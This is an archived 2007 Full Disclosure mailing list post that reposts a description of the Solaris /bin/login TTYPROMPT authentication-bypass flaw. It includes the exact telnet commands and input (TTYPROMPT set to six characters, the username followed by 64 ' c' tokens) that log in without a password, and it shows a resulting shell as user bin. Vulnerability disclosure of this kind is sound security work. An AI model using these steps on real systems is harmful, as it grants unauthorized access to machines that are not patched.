Full Disclosure mailing list archives
Re: Solaris telnet vulnberability - how many on your network?
From: Thierry Zoller <Thierry () Zoller lu>
Date: Wed, 21 Feb 2007 19:57:41 +0100
Dear Marc, This is hilarious, should there ever be a Top10 of the most weird bugs, this surely is one of them, repost for pure amusement : Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the environment variable TTYPROMPT. This vulnerability has already been reported to BugTraq and a patch has been released by Sun. However, a very simple exploit, which does not require any code to be compiled by an attacker, exists. The exploit requires the attacker to simply define the environment variable TTYPROMPT to a 6 character string, inside telnet. I believe this overflows an integer inside login, which specifies whether or not the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Solaris telnet vulnberability - how many on your network? Thierry Zoller (Feb 13)
- <Possible follow-ups>
- Re: Solaris telnet vulnberability - how many on your network? v3dt3n (Feb 14)
- Re: Solaris telnet vulnberability - how many on your network? Thierry Zoller (Feb 21)
- Re: Solaris telnet vulnberability - how many on your network? Roger A. Grimes (Feb 22)